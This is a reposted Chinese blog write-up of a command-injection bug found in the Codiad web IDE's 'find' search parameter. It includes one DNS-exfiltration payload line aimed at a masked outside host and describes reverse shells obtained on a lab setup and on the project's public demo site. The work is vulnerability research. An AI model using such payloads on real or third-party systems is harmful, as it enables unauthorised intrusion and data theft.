Codiad在线IDE框架漏洞挖掘

Posted 网络安全实验室

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Codiad在线IDE框架漏洞挖掘相关的知识,希望对你有一定的参考价值。

简介 :

Codiad 是一个开源基于Web的IDE应用程序,用于在线编写和编辑代码。

仓库 :

https://github.com/Codiad/Codiad

环境搭建 :

通过phpstudy搭建基础,并开启Xdebug 。

可参考https://blog.csdn.net/flyingdream123/article/details/69358819进行环境配置。

漏洞挖掘过程:

通过cve漏洞库对Codiad以往漏洞进行查询,发现该框架对shell_exec()函数的处理上曾多次出现问题,将针对点锁定在了对该函数的调用上。

 
Codiad在线IDE框架漏洞挖掘


上一个版本中该处出现了命令执行漏洞,官网可能已经修补,先不考虑。

锁定find()函数调用

Codiad在线IDE框架漏洞挖掘

$cmd 参数由$input 设置

$input由$this->query设置

Codiad在线IDE框架漏洞挖掘


this->query参数通过get传参获取

查找对find()调用的位置

Codiad在线IDE框架漏洞挖掘 
Codiad在线IDE框架漏洞挖掘

Codiad在线IDE框架漏洞挖掘

尝试更改action参数值为find并动态调试观察

Codiad在线IDE框架漏洞挖掘

在进入action判断前,对path参数进行了判定,所有此时一定要注意你当前目录的名字

Codiad在线IDE框架漏洞挖掘

走到这里以后,通过shell_exec执行拼接好的操作,我们可以清楚的看见此时我们构造query参数被””包含着,参考上一个代码执行漏洞的说明,在调用escapeshellarg函数对传入参数进行处理后,如果有””包含着,则仍然可以进行命令执行。

Codiad在线IDE框架漏洞挖掘

通过现有判断,我们开始构造payload,因为构造参数为Linux下,于是不得不开始搭建linux实验环境,参考http://www.freebuf.com/articles/web/141788.html进行linux环境搭建

Codiad在线IDE框架漏洞挖掘

将没有查询结果时返回信息修改为执行的$cmd

$this->message = $cmd; 便于我们查看执行的命令

采用dns外带查询判断是否有命令执行存在
Codiad在线IDE框架漏洞挖掘

需注意在“ 中再执行子命令应该使用$()执行
Codiad在线IDE框架漏洞挖掘

由此确定了该参数确实存在命令执行漏洞。

现在尝试反弹一下shell

服务器打开监听

Codiad在线IDE框架漏洞挖掘 
Codiad在线IDE框架漏洞挖掘

Codiad在线IDE框架漏洞挖掘

发现shell成功反弹。

对demo站进行尝试。

Codiad在线IDE框架漏洞挖掘

执行语句后,无shell返回,尝试一下别的命令

`ping –c 1 $(whoami) .xxx.xxx.io“  发现dns外带,仍然能够得到信息,证明命令执行是存在的,

考虑是不是存在别的限制。

Codiad在线IDE框架漏洞挖掘

开始尝试一下别的反弹shell的payload.

对网上payload进行了一一尝试

成功反弹shell,中间还有各种尝试,如wget写文件等等 

Codiad在线IDE框架漏洞挖掘

白盒时发现,内容并没有成功写入文件中,中间还涉及各种权限问题。收获蛮多,新手投稿,希望大佬们多指教。


以上是关于Codiad在线IDE框架漏洞挖掘的主要内容,如果未能解决你的问题,请参考以下文章

AndroidNative层文件解析漏洞挖掘指南

如何挖掘Apache2中的CVE-2021-41773漏洞

RPC漏洞挖掘案例研究(下)

在HTML5移动应用中挖掘XSS漏洞

网站程序代码存在漏洞如何挖掘和修复

360补天漏洞平台漏洞挖掘入门视频课程